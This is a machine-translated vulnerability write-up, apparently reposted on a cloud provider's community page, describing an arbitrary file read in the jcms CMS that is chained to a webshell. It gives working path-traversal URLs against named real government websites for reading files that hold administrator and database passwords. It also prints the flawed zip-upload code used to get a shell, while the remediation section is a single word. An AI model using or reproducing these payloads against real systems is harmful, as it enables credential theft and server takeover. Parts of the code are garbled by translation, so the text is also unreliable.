Reading getshell from arbitrary system files

Source: Internet
Author: User

Reading getshell from arbitrary system files

 

Attackers can read arbitrary files in the jcms system and directly obtain sensitive information such as administrator accounts, passwords, database passwords, and configurations, you can easily obtain webshell without any restrictions...

The vulnerability occurs in the following connections:

/Jcms/jcms_files/jcms1/web1/site/module/comment/opr_readfile.jsp

1) retrieve the administrator password in plaintext

Http://anxiang.gov.cn/jcms/jcms_files/jcms1/web1/site/module/comment/opr_readfile.jsp? Filename = ../WEB-INF/ini/merpserver. ini
 



2) retrieve the plaintext of the Database Password
 



3) obtain sensitive information about the configuration file

Http://www.wugang.gov.cn/jcms/jcms_files/jcms1/web1/site/module/comment/opr_readfile.jsp? Filename = ../WEB-INF/web. xml
 



After obtaining the administrator password, you can directly obtain the shell by truncation. The defect code is as follows:
 

If (request. getMethod (). toUpperCase (). equals ("POST") {Jcms_UpdaterecordBLF blf = new Jcms_UpdaterecordBLF ("1"); Jcms_Update_RecordEntity entity = new Jcms_Update_RecordEntity (); // extract path String strFilePath = strSysPath + "/update/"; // temporary directory for zip file upload String strTemp = strFilePath + "temp/"; Convert. createDirectory (strTemp); // create upload = new CommonUploadFile (strTemp, ""); try {// upload the zip package boolean bResult = uploa D. uploadFile (request); String [] strFileName = upload. getAllFileName (); strBakPath = upload. getFormValue ("vc_bakPath"); strBakPath = Convert. getValue (strBakPath); strBakPath = (strBakPath. trim (). length () = 0 )? StrFilePath: strBakPath; strBakPath = strBakPath. replaceAll ("\\\\", "/"); if (strBakPath. endsWith ("/") | strBakPath. endsWith ("\") strBakPath = strBakPath. substring (0, strBakPath. length ()-1); strBakPath = strBakPath + "/bak/"; // create the Backup Directory Convert. createDirectory (strBakPath); ZipFile zip = new ZipFile (); // decompress the zip package boolean bl = zip. unzip (true, strTemp + strFileName [0]. trim (), strFilePath); String strDate = DateFo Rmat. getStrCurrentDate (DateFormat. LONG_DATE_TIME); // zip package name String strZipName = strFileName [0]. substring (0, strFileName [0]. lastIndexOf (". zip "); if (bResult & bl) {entity. setVc_packagename (strZipName); entity. setVc_spath (strFilePath); entity. setVc_bpath (strBakPath); entity. setC_createtime (strDate); entity. setI_flag (1); entity. setVc_status ("not executed"); entity. setB_cancel (0); bl = blf. doInsert (entity);} if (! Bl) {LogWriter. error ("ERROR: mark record! ");} Else {// Delete the uploaded zip file jcms. util. fileUtil. deleteFolder (strTemp) ;}} catch (Exception e) {LogWriter. error ("ERROR:" + e. toString ();} out. println (Convert. getAlterScript ("alert ('upload successful! '); "); Out. println (Convert. getAlterScript (" top. location. reload (); "); return;} // End if %>

 

After obtaining the administrator password, get the shell as follows:
 

 

Solution:

Filter

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.